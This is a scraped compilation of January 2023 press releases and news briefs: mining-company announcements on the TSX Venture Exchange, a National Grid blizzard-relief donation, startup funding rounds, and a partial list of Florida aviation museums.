MEMRI Instagram: https://www.instagram.com/memrireports/

Contact Information:

MEMRI

media@memri.org

202-955-9070

www.memri.org

SOURCE: Middle East Media Research Institute

View source version on accesswire.com:https://www.accesswire.com/736581/MEMRI-Domestic-Terrorism-Threat-Monitor-DTTM-Publishes-Extensive-Analysis-Of-Global-Neo-Nazi-And-White-Supremacist-Extremism-In-2022
Vancouver, British Columbia--(Newsfile Corp. - January 24, 2023) - Founders Metals Inc. (TSXV: FDR) (the "Company"). The Company is pleased to announce that further to its news releases dated October 24, 2022 and November 10, 2022, that it has received conditional approval from the TSX Venture Exchange (the "Exchange") for the acquisition (the "Acquisition") by the Company from Orea Mining Corp. ("Orea") of the option (the "Option") to acquire up to 75% of the Antino Gold Project in Suriname from Nana Resources N.V. ("Nana"). The Company also intends to complete a concurrent equity private placement financing to raise gross proceeds of up to $2,500,000 (the "Concurrent Financing") as described in the Company's November 10, 2022 news release.

The Company has submitted the materials required for its submission to the Exchange and expects to complete the required conditions of the conditional approval shortly and a further announcement as to the closing of the Acquisition and Concurrent Financing will be provided following confirmation of the conditions accordingly.

Founders Metals Inc. is also pleased to announce engaging The Howard Group Inc. ("The Howard Group") as its Capital Markets and Corporate Digital Communications advisor. The Howard Group will direct both traditional and online initiatives with a special emphasis on connecting the Company to retail investing communities and select members of numerous investment and institutional organizations.

The Company has entered into an investor relations engagement agreement (the "Agreement") with The Howard Group dated January 23, 2023 (the "Effective Date") subject to approval of the TSX Venture Exchange, whereby the Company has agreed to engage The Howard Group for a term of six months commencing on February 01, 2023. The Agreement is renewable for subsequent terms of six months by mutual written consent. Under the Agreement, the Company will grant the following stock options to The Howard Group under the Company's incentive stock option plan: (i) 125,000 stock options granted within 15 days of the date of the Agreement with an exercise price of $0.20 per share vesting 25% every 3 months and expiring 3 years after the date of grant; and (ii) 125,000 stock options granted on the earlier of (a) the closing of a subsequent private placement following the acquisition of the Option on the Antino Gold Project, and (b) December 31, 2023, and the stock options shall have an exercise price equal to the applicable market price pursuant to the policies of the TSX Venture Exchange, vesting 25% every 3 months and expiring 3 years after the date of grant.

About The Howard Group

Since 1988, The Howard Group has provided comprehensive outreach and capital markets programs targeting investor, investment, and institutional communities as well as financing support and strategic planning for public companies.

Grant Howard, President of The Howard Group commented, "Early analysis of historical data of the newly acquired Antino Gold Project located in the mining-friendly South American country of Suriname, demonstrates the significant potential this project represents for Founders and its shareholders. We are very excited to have the opportunity to bring growing attention to Founders based on this highly prospective property."

The Agreement is subject to the approval of the TSX Venture Exchange.

About Founders Metals Inc.

Founders Metals is a Canadian exploration company focused on advancing gold projects in the Guiana Shield. Its flagship project is the 23,800 ha Antino Gold Project in South America's underexplored and mining-friendly country of Suriname. Historical surface/alluvial gold mining on the property has produced over 500,000 gold ounces to-date1. Historical exploration work at Antino includes, over 30,000 m of historical drilling, >35,000 auger gold-in-soil samples, property-wide aeromagnetic survey data, and a 2022 LiDAR survey, providing numerous opportunities to expand known high-grade greenstone gold mineralization, and delineate new targets.

1 2022 Technical Report - Antino Project; Suriname, South America. K. Raffle, BSc, P.Geo & Rock Lefrancois, BSc, P.Geo.

ON BEHALF OF THE BOARD OF DIRECTORS

Per: "Colin Padget"

Colin Padget

President, Chief Executive Officer, and Director

For further information, please contact:

Nick Stajduhar, Director

Telephone: +1 (780) 701-3216

Email: nicks@fdrmetals.com

FORWARD-LOOKING INFORMATION

This news release may contain certain "forward-looking statements." Forward-looking statements involve known and unknown risks, uncertainties, assumptions, and other factors that may cause the Company's actual results, performance, or achievements to be materially different from any future results, performance, or achievements expressed or implied by the forward-looking statements. Any forward-looking information speaks only as of the date of this news release. Except as may be required by applicable securities laws, the Company disclaims any intent or obligation to update any forward-looking statement, whether because of new information or future events, or results or otherwise.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Not for distribution to U.S. Newswire Services or for dissemination in the United States. Any failure to comply with this restriction may constitute a violation of U.S. securities laws.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152356
BUFFALO, NY / ACCESSWIRE / January 24, 2023 / The National Grid Foundation is contributing $500,000 to further support western New Yorkers who continue to recover from the historic blizzard that impacted Buffalo and much of the region in December. The funding will be distributed to the same charitable organizations that received $500,000 from National Grid shareholders on Jan. 12, bringing the total recovery-effort funding from both organizations to $1 million.

"Last month's blizzard devastated the city of Buffalo and as a community partner, we know that helping neighbors means supporting them in ways that provide a significant impact," said Ed White, Executive Director of the National Grid Foundation and Vice President of Social Impact for National Grid. "We want our customers to know that we're here to help and are especially thrilled to be able to combine our funding with the $500,000 that was provided earlier this month by National Grid. This combined $1 million will provide relief to people in our communities who were impacted by this unprecedented storm, and we're grateful for our community partners who are always there when our neighbors need them."

Four organizations will use the funding to create or bolster programs to benefit those recovering from the storm, and to support community resilience during future emergencies.

FeedMore WNY will use the National Grid funds to replenish emergency food kits that the group distributes to clients across western New York.

Back to Basics Ministries responds to emergencies in Buffalo's Black and African American communities by organizing local nonprofits to provide direct services to those in need. National Grid's donation will support the organization's Mobile Response Team, which provides food and essential items. The ongoing support will stabilize the communities that were most affected by the storm.

United Way of Buffalo and Erie County will work with National Grid to establish a Community Resilience Fund that addresses immediate, short-, and long-term needs of economically vulnerable families in the Buffalo area. Funds also will be used to assist with storm recovery and create a response network for future emergencies.

The Western New York Chapter of the American Red Cross will use the funds to support its disaster recovery programs. This includes opening shelters and making provisions for meals to community members while their homes are being repaired, as well as providing emergency supplies, winter clothing and emergency financial assistance to families in need.

During the blizzard, National Grid worked with local, state and national partners to gain access to its facilities after a bomb cyclone brought hurricane-force winds and more than 50 inches of heavy, wet snow to the region. As part of its emergency response, the company deployed more than 3,200 power restoration experts - including line, service, tree, damage assessment and public safety crews - who worked around the clock in dangerous weather conditions to restore service to the 108,000 affected customers.

"Our blizzard restoration efforts extended beyond turning the power back on for our customers," said Melanie Littlejohn, Vice President of Customer and Community Engagement. "We are thankful for and are emboldened by the leadership demonstrated by our western New York partners who are creating opportunities and programs for people who need them the most. National Grid Foundation's matching of our $500,000 shareholder contribution will add a layer of security to deliver these programs so that even more people have access to the levels of assistance they need."

Caring for local communities, compassionately addressing challenges customers face and collaborating with community partners are guiding principles of National Grid's Project C initiative, which seeks to transform communities and ensure an equitable future for all customers.

Additional Support: Late Payment Fees Waived for Western NY Customers

National Grid customers who have experienced hardships as a result of the storm will have late payment fees waived by the company for bills with due dates between Dec. 23, 2022, and Feb. 20, 2023. Customers looking to take advantage of this program or establish a payment plan should call 1-800-443-1837. The company also offers flexible payment options and other bill solutions through its Winter Customer Savings Initiative.

In November, to further assist customers struggling to pay winter bills, National Grid shareholders provided $6 million in funding to establish the first targeted assistance programs for low- to-moderate income customers in New York. The new programs - the Hope & Warmth Energy

Fund and Hearts Fighting Hunger emergency food assistance - will help families who are experiencing financial hardships, but just miss qualifying for the federally-funded Home Energy Assistance Program. The funding also will be used to increase the company's contributions to its existing Care & Share program.

###

About National Grid

National Grid (NYSE:NGG) is an electricity, natural gas, and clean energy delivery company serving more than 20 million people through our networks in New York and Massachusetts. National Grid is transforming our electricity and natural gas networks with smarter, cleaner, and more resilient energy solutions to meet the goal of reducing greenhouse gas emissions. For more information, please visit our website, follow us on Twitter, watch us on YouTube, friend us on Facebook, and find our photos on Instagram.

About National Grid Foundation

National Grid Foundation was created to enhance the quality of life across its grant making territory. The Foundation's ongoing challenge is to create opportunities for solutions to educational and environmental issues. Its objective is based on the principle that giving people the tools to build hope is an essential ingredient in the development of individuals, families, and communities. Since its inception in December of 1998, the Foundation, now in its 23rd year, has granted more than $30 million to local community organizations.



View additional multimedia and more ESG storytelling from National Grid on 3blmedia.com.

Contact Info:

Spokesperson: National Grid

Website: https://www.3blmedia.com/profiles/national-grid

Email: info@3blmedia.com

SOURCE: National Grid

View source version on accesswire.com:https://www.accesswire.com/736609/National-Grids-Post-Blizzard-Western-New-York-Contributions-Increase-to-1-Million
Vancouver, British Columbia--(Newsfile Corp. - January 24, 2023) - Millennial Potash Corp. (TSXV: MLP) ("MLP" or the "Company") (formerly Black Mountain Gold USA Corp.) is pleased to announce that it has received approval from the TSX Venture Exchange (the "Exchange") for its mineral property option agreement concerning the Banio Potash Project.

Farhad Abasov, Director, commented, "We are very pleased to have received approval for MLP's option to acquire up to 100% of the Banio Potash Project in Gabon. Banio presents a promising opportunity for MLP to acquire a unique project where previous drilling has intersected significant widths of potash mineralization that may be amenable to low-cost solution mining. In addition, the project has good infrastructure and could enjoy a transport cost advantage over other producers due to its proximity to the major Brazil market. Global food security remains a universal concern and recent geopolitical events have shown that traditional suppliers may not meet all demand in the near future. The Millennial Potash team has years of potash industry experience having founded, developed, and successfully exited large potash projects. We are planning to add even more potash industry veterans and experts to our board and management team in the coming weeks and months and intend to mobilize for our exploration program immediately."

BANIO POTASH PROJECT TECHNICAL REPORT

The Company has filed a technical report (the "Technical Report") concerning the Banio Potash Project dated effective November 21, 2022 and titled "Technical Report on The Banio Potash Project, Mayumba Permit, Republic of Gabon" and authored by Dr. Sebastiaan van der Klauw, Ph.D., EurGeol, of ERCOSPLAN Ingenieugesellschaft Geotechnik und Bergbau mbH ("Ercosplan").

The Technical Report can be found on SEDAR under the Company's issuer profile at www.sedar.com.

This news release contains only summary information concerning the Technical Report.

THE BANIO POTASH PROJECT DEFINITIVE OPTION AGREEMENT /

ACQUISITION OF THE INITIAL 25% OF BANIO POTASH PROJECT COMPLETED

The Definitive Option Agreement ("DOA") was executed by the Company and the shareholders of Equatorial Potash Pty. Ltd. ("Equatorial") effective on October 31, 2022 and includes the option to acquire up to a 100% interest in the Banio Potash Project, which was first announced on September 27, 2022. The Definitive Option Agreement reflects the terms and conditions as described in the Company's September 27, 2022 news release except that it has been subsequently amended such that there is no initial allotment of MPL shares (300,000) awarded to the shareholders of Equatorial upon signing of the MOU. The revised terms of the MOU are outlined in the table below:

In addition the amount of USD$257,000 due upon execution and final regulatory approval of the Definitive Option Agreement is changed slightly from the September 27, 2022 news release (which stated in error that the payment was USD$250,000 less CDN$25,000).

Revised table of terms in the DOA





To view an enhanced version of this graphic, please visit:

https://images.newsfilecorp.com/files/4674/152378_table1.jpg

The Definitive Option Agreement provides for the option to acquire up to a 100% interest in the Banio Potash Project by the acquisition from the Vendors of all of the issued and outstanding Equatorial Shares. Equatorial is the 100% owner of Mayumba Potasse SARL ("Mayumba"), a Gabonese company holding a 100% interest in Gabonese Exploration Permit No. G2-595 Potasse et Sels Connexes Mayumba renewed February 4, 2022 (the "Mayumba Permit").

The Company has completed cash payments due upon signing of the Binding MOU and upon Exchange approval of the Definitive Option Agreement and has also issued 650,000 shares to the vendors of the shares of Equatorial Potash Pty. Ltd. These shares are subject to a four month hold period under the policies of the TSX Venture Exchange which expires on May 24, 2023. As a result of completing those cash payments and the issuance of the 650,000 shares, the Company has now acquired a 25% interest in the Banio Potash Project (through ownership of 25% of the issued and outstanding shares of Equatorial.

THE BANIO POTASH PROJECT

The information and description of the Banio Potash Project below is taken from the Technical Report.

Gabon is located in western Africa, on the Atlantic coast, and the Mayumba Permit, which forms the basis for the Banio Potash Project, is 1,244 km2 situated in the southern part of the country. The main Project area is approximately 50 km south of Mayumba village close to the border with the Republic of Congo. The original Mayumba Permit was granted in 2016 and has recently been extended for a period of 3 years on February 4, 2022. Gabon has an extensive oil and gas sector and enjoys the 3rd highest per capita GDP in Africa. Major international companies with significant investments in the country include Fortescue, Eramet, Total and Shell.

The potash-rich Congo Evaporite Basin extends from the Republic of Congo, located to the south, into coastal Gabon and the Banio Potash Project area. Extensive oil and gas exploration identified potash-bearing seams in numerous exploration wells and widespread seismic surveys in the project area suggesting strong continuity of the geology from the Republic of Congo. Current and past potash development projects in the Congo include the historic Holle Potash mine, Kore Potash's ongoing development at Kola and Mag Industries' Mengo project now held by Chinese developer Evergreen Industries.

Previous exploration work on the Banio Potash Project was performed by Infinity Lithium Corporation Ltd. ("Infinity") (a previous owner of Equatorial) and its predecessor company, Plymouth Minerals Ltd., in 2017-2018.

Infinity drilled 3 potash-specific wells at the northern Alpha Target located in the central part of the Banio Potash Project (see Infinity news release dated Nov. 5, 2018). Infinity disclosed that two of the wells intersected the target evaporite zone intercepting multiple potash horizons at depths varying from 230m to 530m below surface.

Ercosplan's evaluation and interpretation of the geology from the Infinity potash holes Ba-002 and Ba-003, located approx. 2200m apart, has identified the evaporite cycles, Cycle VII Cycle VIII, Cycles VI and Cycle V.

Cycle VIII in both holes is dominated by the potash mineral Sylvite, which in the basin is typically interpreted to be a secondary transformation of the potash mineral Carnallite. In drill hole Ba-002 all Carnallite bearing seams of Cycle VIII have been transformed to Sylvite, and over a total thickness of 24.2 m the aggregated thickness of the four lower Sylvite bearing seams, with thickness over 1.5 m, amounts to 15.3 m at 15.6 % Sylvite. In drill hole Ba-003 only in the upper part of Cycle VIII has the Carnallite to Sylvite transformation taken place, and over a total thickness of 37.6 m the aggregated thickness of the five upper Sylvite bearing seams, with thickness over 1.5 m, amounts to 11.9 m at 16.0 % Sylvite. The lower seams of Cycle VIII consisting of Carnallite amount to 13.4 m of Carnallite thickness at 46.6 % Carnallite.

Cycle VII is dominated by carnallitite mineralization, the main seams, defined by a cut-off thickness of 1.5m and a grade of greater than 12% KCl (44.5% carnallite), considered mineable by solution mining by Ercosplan have a summarized thickness of:

18.5 m at 60.9 % Carnallite in Ba 002

17.2 m at 58.2 % Carnallite in Ba 003,

Cycle VI consists of an interlayering of rock salt and carnallitite, but the Halite dominated sections are much thinner than in Cycle VII. In Cycle VI there is no reporting on the single potash seams and complete thickness of the carnallitite-bearing sections of cycle VI are given for Ba-002 as 28.8m thickness at 59.1% Carnallite and for Ba-003 as 27.5m thickness at 60.5% Carnallite. Ercosplan indicates that these seams display excellent values for a carnallitite solution mining project based on Cycle VI carnallitite only.

Cycle V also consists of an interlayering of rock salt and carnallitite. Cycle V displays more, and thicker halite dominated sections compared to Cycle VI. Single potash seams are not reported, just the complete thickness of the carnallitite bearing sections of Cycle V is given for Ba-002 as 19.2m thickness at 44.7% Carnallite and for Ba-003 (lower ~10 m of the section have not been sampled) as 9.8m thickness at 55.6% Carnallite. Ercosplan has indicated these are also good values for a carnallitite solution mining project based on Cycle V carnallitite alone.

Ercosplan has recommended a Phased exploration program consisting of resampling core from Ba-002, and 003 (stored in climate-controlled containers at site), a seismic reinterpretation study as well as extending holes Ba-001 and Ba-002 deeper and drilling an additional hole, Ba-004, approx. 2km southwest of Ba-002 to a depth of 700m to test the westward expansion of the potash horizons in preparation for a maiden resource estimate.

NAME CHANGE TO "MILLENNIAL POTASH CORP."

Effective at the open of trading on January 25, 2023, the Company will commence trading under the symbol "MLP" on the TSX Venture Exchange as the Company has changed its name from Black Mountain Gold USA Corp. to Millennial Potash Corp.

The technical portions of this news release have been reviewed by Peter J. MacLean, Ph.D., P. Geo, Director of the Company, and Dr. Sebastiaan van der Klauw, EurGeol, both Qualified Persons as that term is defined in National Instrument 43-101. Consent to disclosure taken from the Technical Report has been filed on SEDAR.

To find out more about Millennial Potash Corp. please contact Investor Relations at (604) 662-8184 or email at info@millennialpotashcorp.com

MILLENNIAL POTASH CORP.

"Graham Harris"

CEO, Director

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

This news release may contain certain "Forward-Looking Statements" within the meaning of the United States Private Securities Litigation Reform Act of 1995 and applicable Canadian securities laws. When used in this news release, the words "anticipate", "believe", "estimate", "expect", "target, "plan", "forecast", "intend", "may", "schedule" and similar words or expressions identify forward-looking statements or information. These forward-looking statements or information may relate to future prices of commodities, accuracy of mineral or resource exploration activity, reserves or resources, regulatory or government requirements or approvals including approvals of title and mining rights or licenses and environmental, local community or indigenous community approvals, the reliability of third party information, continued access to mineral properties or infrastructure, changes in laws, rules and regulations in Gabon or any other jurisdiction which may impact upon the Company or its properties or the commercial exploitation of those properties, currency risks including the exchange rate of USD$ for Cdn$ or other currencies, fluctuations in the market for gold/silver and potash or potash related products, changes in exploration costs and government royalties, export policies or taxes in Gabon or any other jurisdiction and other factors or information. The Company's current plans, expectations and intentions with respect to development of its business and of the Banio Potash Project may be impacted by economic uncertainties arising out of COVID-19 pandemic or by the impact of current financial and other market conditions on its ability to secure further financing or funding of the Banio Potash Project. Such statements represent the Company's current views with respect to future events and are necessarily based upon a number of assumptions and estimates that, while considered reasonable by the Company, are inherently subject to significant business, economic, competitive, political, environmental and social risks, contingencies and uncertainties. Many factors, both known and unknown, could cause results, performance or achievements to be materially different from the results, performance or achievements that are or may be expressed or implied by such forward-looking statements. The Company does not intend, and does not assume any obligation, to update these forward-looking statements or information to reflect changes in assumptions or changes in circumstances or any other events affections such statements and information other than as required by applicable laws, rules and regulations.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152378
Vancouver, British Columbia--(Newsfile Corp. - January 24, 2023) - Fjordland Exploration Inc. (TSXV: FEX) (the "Company") announces that it has extended the expiry date of 12,500,000 share purchase warrants (the "Warrants") by one year to February 12, 2024. The Warrants were issued pursuant to a private placement which closed on February 12, 2021 and were originally set to expire on February 12, 2023. Each Warrant entitles the holder thereof to acquire one common share of the Company at a price of $0.175 per common share. Other than the one year extension to February 12, 2024, all other terms of the Warrants, including exercise price, will remain the same. These are the only Fjordland share purchase warrants currently outstanding, other than 85,500 finders warrants which can not be amended under TSXV policies.

In addition to the extension of the Warrants, the Company has also implemented an early warrant exercise incentive program (the "Program") intended to encourage the immediate exercise of the Warrants. To the extent that holders of the Warrants take advantage of the opportunity to exercise their Warrants early, between the period commencing January 25, 2023 and ending on February 23, 2023 (the "Early Exercise Period"), each holder will receive a benefit as described below and the Company will raise additional funds for working capital purposes. Warrants that remain unexercised following the completion of the Early Exercise Period will continue to be exercisable for Common Shares on the original terms as they existed prior to the Program, other than the extended expiry date of February 12, 2024.

Summary Information about Warrant Incentive Program

Pursuant to the program, the Company is offering an inducement to each Warrant holder that exercises Warrants during the Early Exercise Period by reducing the exercise price to $0.05 per common share and issuing one additional common share purchase warrant (the "Incentive Warrant"). Each Incentive Warrant entitles the Warrant holder to purchase one additional common share for a two year period up to February 12, 2025, at a price of $0.10 cents per common share. In certain events, the Company can accelerate the expiry date of the Incentive Warrants if the common shares trade above a weighted average of $0.20 for ten consecutive days. The repricing will only apply during the term of the Program which ends on February 23, 2023. Warrants that are not exercised before 4:00 pm on February 23, 2023 will maintain the original terms, including the exercise price of $0.175 per common share and the extended expiry date of February 12, 2024.

The Early Exercise Period will commence on January 25, 2023 and will expire on February 23, 2023. The Incentive Warrants and any common shares issuable on the exercise thereof will be subject to a four-month hold period from the date of issuance of the Incentive Warrants pursuant to applicable Canadian securities laws.

Depending upon the number of Warrants exercised during the early exercise period, the Company expects to:

Receive gross proceeds of up to $625,000;

Issue up to 12,500,000 common shares pursuant to the exercise of Warrants in accordance with the terms of the Warrants; and

Issue up to 12,500,000 Incentive Warrants to Warrant holders pursuant to the exercise of the Warrants on or before February 23, 2023.

The terms and conditions of the program and the method of exercising Warrants pursuant to the program are set forth in a notice which is being delivered to the last known contact of each Warrant holder. Warrant holders who wish to participate in the program will agree to exercise their Warrants and deliver the other necessary documents in consideration of the issuance by the Company of the Incentive Warrants.

The Program is subject to approval from the TSX Venture Exchange (the "Exchange"). The number of Warrants to be exercised by insiders of the Company is limited to no more than 10% of the total Warrants, being 1,250,000 Warrants, and the Company will issue no more than 1,250,000 Incentive Warrants to insiders under the Program.

Procedure for the Exercise of Warrants

Upon commencement of the Early Exercise Period, registered holders of Warrants may exercise their rights to acquire the Common Shares and Incentive Warrants.

All Warrants must be processed through the Company at the offices of the Company located at 1100 - 1111 Melville Street, Vancouver, BC V6E 3V6.

To exercise Warrants during the Early Exercise Period, until February 23, 2023 at 4:00 p.m. (Vancouver time), a Warrant Holder must:

1. Surrender the original Warrant Certificate(s) representing the Warrants to the Company by hand or courier at the address noted above. The Warrant Certificate(s) representing the Warrants must be submitted together with:

(a) a duly completed and executed Subscription Form as attached to the Warrant Certificate, specifying the number of Warrants that the Warrant Holder intends to exercise; and

(b) a certified cheque, bank draft or money order in Canadian dollars, payable to or to the order of "Fjordland Exploration Inc." in an amount equal to $0.05 multiplied by the number of Warrants that the Warrant Holder intends to exercise.

All Warrant Certificates surrendered for full exercise will be cancelled by the Company and will be of no further force or effect.

All Warrant Certificates surrendered together with a duly completed and executed Subscription Form, and payment of the applicable exercise price for the number of Warrants exercised will be deemed to be surrendered only upon personal delivery thereof to, or, if sent by mail or other means of transmission, upon actual receipt thereof by the Company. Any use of the mail to transmit Warrant Certificates is at the risk of the Warrant Holder. If such documents are to be mailed, it is recommended that registered mail, properly insured, be used with acknowledgement of receipt requested.

Fractional Shares

The Company will not be obligated to issue any fractional Common Shares, fractional Incentive Warrants or any cash or other consideration in lieu thereof upon the exchange of one or more Warrants. If any fraction of a Common Share or Incentive Warrant would otherwise be issuable, the number of such securities so issued will be rounded down to the nearest whole number without compensation thereof.

About Fjordland Exploration Inc.

Fjordland Exploration Inc. is a mineral exploration company that is focused on the discovery of large-scale economic metal deposits in Canada.

In collaboration with Ivanhoe Electric Inc. and Commander Resources Ltd., Fjordland is exploring the SVB "Pants Lake Intrusive" target which is in a geologic setting analogous to the nearby nickel-cobalt-copper Voisey's Bay deposit. Fjordland has earned a 75% interest in the project.

Fjordland, owns a 100% interest in the Renzy nickel-project located near Maniwaki, Quebec. The project encompasses the former Renzy Mine where, during the period from 1969 to 1972, 716,000 short tons were mined with average grades of 0.70% nickel and 0.72% copper. Fjordland has staked additional claims to increase the size of the project to 530 sq. km.

As well, Fjordland has 2 copper-gold properties in the Quesnel Trough of central British Columbia, The West Milligan copper-gold project is a joint venture with Northwest Copper Corp. located within 4 km of Centerra's Mount Milligan copper-gold mine. The 103 sq. km. Witch copper-gold project is located another 35 km west of the Milligan mine.

ON BEHALF OF THE BOARD OF DIRECTORS

"James Tuer"

James Tuer, CEO

For further information:

James Tuer

Ph: 604-688-3415

tuer@fjordlandex.com

www.fjordlandex.com

Forward-Looking Statements

This news release includes certain forward-looking statements or information. All statements other than statements of historical fact included in this news release, including, without limitation, statements regarding the use of proceeds from the private placement, and other future plans and objectives of the Company are forward-looking statements that involve various risks and uncertainties. There can be no assurance that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Important factors that could cause actual results to differ materially from the Company's plans or expectations include market prices, general economic, market or business conditions, regulatory changes, timeliness of government or regulatory approvals and other risks detailed herein and from time to time in the filings made by the Company with securities regulators. The Company expressly disclaims any intention or obligation to update or revise any forward-looking statements whether as a result of new information, future events or otherwise except as otherwise required by applicable securities legislation.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152386
Elements, a Salt Lake City, CA-based provider of a financial monitoring platform, raised $5M in Seed Extension funding.

The round, which brought brings total funds raised to more than $9M, was led by Flyover Capital, with participation from Kickstart Fund, Venture Capital, Grand Ventures, Forward VC, SaaS Venture Capital, and angel investors.

The company intends to use the funds to further its efforts to grow its client base and provide more innovative services.

Led by CEO Reese Harper, Elements helps clients that promote financial health by displaying digestible pieces of critical financial data, including debt, savings, spending, insurance, investments, and more, that become the building blocks of a comprehensive, easy-to-monitor financial plan. The Elements scorecard provides advisors a way to capture vital client data quickly and easily and present a holistic picture of their financial life in a tangible and understandable way.

In 2022, the company created a simplified, streamlined one-page financial plan whereby advisors can use the information entered by their clients to quickly develop a roadmap to guide the clients financial life.

Commenting on the news, Reese Harper said: ..This additional funding will enable us to continue to scale, innovate and bring new services to our advisors.

FinSMEs

24/01/2023
Hatchfi, a San Francisco, CA-based provider of a crypto integration platform, raised $1.2M in Pre-Seed funding.

The round was led by Jude Gomilla, Delta Blockchain Fund, OrangeDAO, as well as other angel investors.

The company intends to use the funds to grow their engineering team so they can continue to bring the most complete integrations in market, improve data quality and reliable infrastructure while continuing to focus on industry best security protocols.

Founded in 2022 by Carlos Feliciano and Casey Wilcox, Hatchfi is a crypto integration platform that securely connects users crypto accounts to any app like they would a bank account. Hatchfi leverages WalletConnect open source tool to allow users to connect and authenticate their wallet addresses from over 240+ wallets. Once a wallet is authenticated, the system can take their address and run the address against the blockchains for balance and transaction data. When it comes to blockchain data, it supports balances and general transactions which are to and from accounts and addresses. When the option is available, like for most EVMs, Hatchfi gets tokens and token transfers. The company also provides NFT data support for 4 major chains which are Ethereum, arbtirum, Polygon, and Optimism. It has no connection limitations, no sync credits, no degressive pricing, and zero storage of data limitations and offers accurate, complete integrations. The company has 30+ clients in the Fintech space including accounting & tax apps, investment platforms, crypto lending apps, financial tracking apps, and crypto social apps.

FinSMEs

24/01/2023
If you were looking for the Charlestown Democratic Town Committee website and ended up here, try this





Got news tips, gossip, suggestions, complaints?E-mail us: progressivecharlestown@gmail.com We strive to avoid errors in our articles. Our correction policy can be found here
PayEm, a San Francisco, CA-based platform for spend and procurement management, raised $220m in equity and credit financing.

Backers included Viola Credit, Mitsubishi Financial Group, Collaborative Fund.

The company, which has raised $247m in credit and equity since its launch in January 2020, intends to use the funds to accelerate its growth.

Led by Itamar Jobani, CEO, PayEm is an enterprise integrated spend management and procurement platform that automates the entire Request to Reconciliation process for finance and procurement teams for the mid-market. It offers smart procurement solutions, AP automation, expanse reimbursement and smart credit cards. The company currently supports customers around the world from its offices in San Francisco and Tel Aviv.

PayEm has also announced three major additions to its leadership team. Steve Sovik has joined as Chief Revenue Officer, Dorit Bruner, joins as CFO, and Gilad Bonjack joins as VP Product.

FinSMEs

24/01/2023
Traction Complete, a Port Moody, Canada-based provider of revenue operations apps native to Salesforce, raised $5M in Growth funding.

The round was led by Vancouvers Pender Ventures and Thomvest Ventures.

The company intends to use the funds to accelerate its hiring efforts, and marketing initiatives, and develop new solutions.

Led by CEO David Nelson, Traction Complete creates solutions that help people manage data complexity. Its suite of Salesforce apps automates data cleanup, account hierarchies, matching and routing. The products include:

Complete Hierarchies , an automated account hierarchies solution for Salesforce, built to make sales territory planning more efficient and effective.

, an automated account hierarchies solution for Salesforce, built to make sales territory planning more efficient and effective. Complete Leads , a flexible automated routing, lead assignment, and matching tool, and

, a flexible automated routing, lead assignment, and matching tool, and Complete Clean, a data cleansing tool that manages duplicate data.

FinSMEs

24/01/2023
AIRCRAFT MUSEUMS IN FLORIDA

By Mike Miller January 23, 2023



Florida is a popular destination for both tourists and aviation enthusiasts.

The Sunshine State is home to many aircraft and aviation museums that offer visitors a glimpse into the rich history of flight and development of aviation.



National Aviation Museum Blue Angels Planes

From the early days of the Wright Brothers to the present day, Floridas aviation museums feature a wide array of aircraft exhibits, events, and activities the entire family will enjoy.

Whether youre an aviation enthusiast, pilot, historian, or just someone looking for a fun day trip, Floridas aviation museums are sure to please.



Florida Air Museum Florida Aviation Hall of Fame

From the famous Fantasy of Flight in Polk City to the lesser-known Florida Air Museum in Lakeland, the state is home to a variety of aviation museums.

These museums feature some of the worlds most iconic aircraft, interactive exhibits, and educational programs.



Aviation fans can also find a number of air shows and events throughout the state that celebrate the history and progress of flight.

So, if youre looking for a unique way to explore the world of aviation, Floridas aviation museums are the perfect place to start.

LIST OF AIRCRAFT MUSEUMS IN FLORIDA

FANTASY OF FLIGHT

1400 Broadway Blvd SE

Polk City, FL 33868

(863) 984-3500



Fantasy of Flight Facebook Page CAC Sabre

Fantasy of Flight is a museum and tourist attraction located in Polk City, Florida.

It is a 25,000-square-foot facility that houses over 140 aircraft, including vintage warbirds, commercial planes, and other rare aircraft.

You will be amazed at what you see and experience here.

Aviation pioneer Kermit Weeks opened Fantasy of Flight in 1995 to share his love for aviation and aircraft. It is home to the worlds largest private aircraft collection.

P-51 Mustang at Fantasy of Flight

This collection includes a Sikorsky S-43 once owned by Howard Hughes and the famous World War Two fighter plane, the P-51 Mustang.



There are interactive exhibits, flight simulators, and a theater.

Visitors can also take part in guided tours that take them up close and personal to the aircraft and experience what it was like to fly them.

Fantasy of Flight also offers a variety of aircraft rides and aerial experiences.

Fantasy of Flight even has its own airfield shown on the charts as Orlampa, so named because it is about halfway between Orlando and Tampa.

FLORIDA AIR MUSEUM

4175 Medulla Rd

Lakeland, FL 33811

(863) 904-6833



Florida Air Museum US Navy VTOL Plane

Florida Air Museum at the SUN 'n FUN Expo Campus in Lakeland is a non-profit educational organization dedicated to inspiring, educating and entertaining people of all ages about the history and evolution of flight.

It is housed in a building on the campus of the Sun n Fun fly-in and expo at Lakeland Linder International Airport. Its official name is Aerospace Discovery at Florida Air Museum.

The museum was designated in 2002 by Governor Jeb Bush as the official aviation museum and education center of the State of Florida.

It is also the location of the Florida Aviation Hall of Fame, whose inductees include Charles Lindbergh.

The museum offers a variety of aircraft displays, interactive learning stations, flight simulators, flight training opportunities and educational programs.

Its collection includes a 1903 Wright Flyer, early air racers, ultralights, and many different types of aircraft.

In addition to aircraft, there is a large collection of aircraft engines from World War I to the present day.

WINGS OVER MIAMI AIR MUSEUM

14710 SW 128th St

Miami, FL 33196

(305) 233-5197



Wings Over Miami Seaplane

Wings Over Miami Air Museum is an aviation museum located in Miami, Florida. The museum was founded in 2004 and is dedicated to preserving the history of aviation and its impact on the world.



The museum houses an extensive collection of aircraft, artifacts, and historical documents related to aviation history.

Its aircraft collection includes a Ryan PT-22 Recruit, a well known flight training aircraft.

The museum also offers educational programs and hosts a variety of events throughout the year.

AIR FORCE ARMAMENT MUSEUM

100 Museum Dr

Eglin AFB, FL 32542

(850) 882-4062



Air Force Armement Museum GBU-43/B Massive Ordnance Air Blast

Air Force Armament Museum at Eglin Air Force Base in Florida has a collection of aircraft armament that showcases the armament of aviation warfare.

